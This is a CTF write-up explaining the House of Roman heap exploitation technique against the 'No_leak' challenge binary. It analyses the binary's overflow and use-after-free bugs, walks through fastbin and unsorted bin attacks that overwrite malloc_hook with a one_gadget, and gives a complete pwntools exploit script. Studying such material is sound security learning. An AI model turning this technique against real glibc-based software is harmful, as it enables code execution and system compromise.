house-of-roman

from xman qctf : No_leak

#0x00 Abstract

​ House of roman, use this method when binary has no leak vulnerabilities. But it require binary can malloc any size heap chunk and one off-by-one vulnerability.

​ The process of house of roman are as following:

  • 1.get unsorted bin and make its fd point to malloc_hook-0x23
  • 2.modify size to fastbin
  • 3.link it to fastbin list
  • 4.malloc to control malloc_hook
  • 5.fix fastbin list( ??? seems no use, no fix is also okay)
  • 6.unsorted bin attack to make malloc_hook get main_arena+88
  • 7.modify low 3 byte make it point to one_gadget

#0x01 Binary analysis

  • 1.Create

    Alt text

    Can create heap chunk of any size, we can malloc at most 10 times.

  • 2.Update

    Alt text

    Can read input of any size: an overflow vulnerability.

  • 3.Delete

    Alt text

    Pointer dose not set to null after free: double free vulnerability and uaf vulnerability.

#0x02 Exploit process

  • 0.Prepare

    Alt text

    User Create to malloc 0x68,0x80,0x68,0x80 chunk. get 2 fastbin and 2 smallbin.

    2 fastbin is used for link unsorted bin into fastbin list.

    One smallbin to link to fastbin list thus get the control of malloc_hook, another smallbin for unsorted bin attack .

  • 1.get unsorted bin

    Alt text

    Delete second chunk to get a unsorted bin. Its fd&bk will point to main_arena+88.

    Update second chunk to make its fd point to malloc_hook+0x23.

  • 2.modify size to fastbin

    Alt text

    we can Update first chunk to modify second chunk’s size, make it to 0x71(fastbin).

  • 3.link it to fastbin list

    Alt text

    Delete first and third chunk make fastbin list into 0x70->third chunk->first chunk.

    Update third chunk to make fastbin list into 0x70->third chunk->second chunk->malloc_hook+0x23->xxxxxx.

  • 4.malloc to control malloc_hook

    Alt text

    Use Create 3 times, get control of malloc_hook-0x13.

  • 5.fix fastbin list

    Alt text

    free an fastbin and set its fd to null. Next time malloc fastbin will not corrupt.

    If don’t use fastbin later, no fix is also okay.(or I misunderstood it)

  • 6.unsorted bin attack to make malloc_hook get main_arena+88

    Alt text

    Create 0x80 to clear unsorted bin list.

    Free forth chunk to make its fd&bk point to main_arena+88.

    Update forth chunk to make its bk point to malloc_hook-0x10

    Create 0x80 to apply unsorted bin attack making malloc_hook = main_arena+88.

  • 7.modify low 3 byte make it point to one_gadget

    Alt text

    Update the chunk that control malloc_hook-0x13 with ‘a’*0x13 and one_gadget address. Make malloc_hook point to one_gadget.

  • 8.trigger malloc_hook

    Alt text

    Free forth chunk make double free corrupt to trigger malloc_hook execute one_gadget. Thus you can get the shell.]

​ All above test are made in no-aslr environment. In remote server need brute force guess libc address 12bit because of aslr. It may need sometime.

#0x03 Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *
p = process('./NoLeak')#,env={"LD_PRELOAD":"./libc-2.23.so"})

def create(size,pay):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Data:')
p.send(pay)

def delete(idx):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index')
p.sendline(str(idx))

def update(idx,pay):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(idx))
p.recvuntil('Size:')
p.sendline(str(len(pay)))
p.recvuntil('Data:')
p.send(pay)

# get unsorted bin -> modefiy size to fastbin -> link it to fastbin list -> malloc to control malloc_hook -> fix fastbin list -> unsorted bin attack to make malloc_hook get main_arena+88 -> modefiy low 3 byte make it point to one_gadget

# gdb.attach(p,'b *0x400997\nb *0x40090F\nb *0x40083D')

''' test unsorted bin attack
create(0x80,'0') #0x602010
create(0x80,'1') #0x6020a0
delete(0)
update(0,p64(0)+p64(0x601068))
create(0x80,'2')
'''

create(0x68,'0') #0 0x602010
create(0x80,'1') #1 0x602080
create(0x68,'2') #2 0x602110
create(0x80,'3') #4 0x602180
delete(1) # get main_arena+88
update(1,'\xed\x1a') # write main_arena+88 to malloc_hook-0x23
update(0,'a'*0x68+'\x71') # make chunk 1 fake size 0x71 to make it be fastbin
delete(0)
delete(2)
update(2,'\x70') # make chunk 1 into fastbin list

create(0x68,'4') #5 0x602110
create(0x68,'5') #6 0x602080
create(0x68,'6') #7 get malloc_hook 0x7ffff7dd1afd

# fix fastbin list why fix it, not fix still can attack
# delete(4)
# update(4,p64(0))

# gdb.attach(p,'b *0x400997\nb *0x40090F\nb *0x40083D')

create(0x80,'7') # 0x602210
delete(3)
update(3,p64(0)+'\x00\x1b') # use unsorted bin attack to make malloc_hook get main_arena+88
create(0x80,'8')

update(6,'a'*0x13+'\xa4\xd2\xaf') # write onegadget

# gdb.attach(p)#,'b *0x400997\nb *0x40090F\nb *0x40083D')
delete(3)

p.interactive()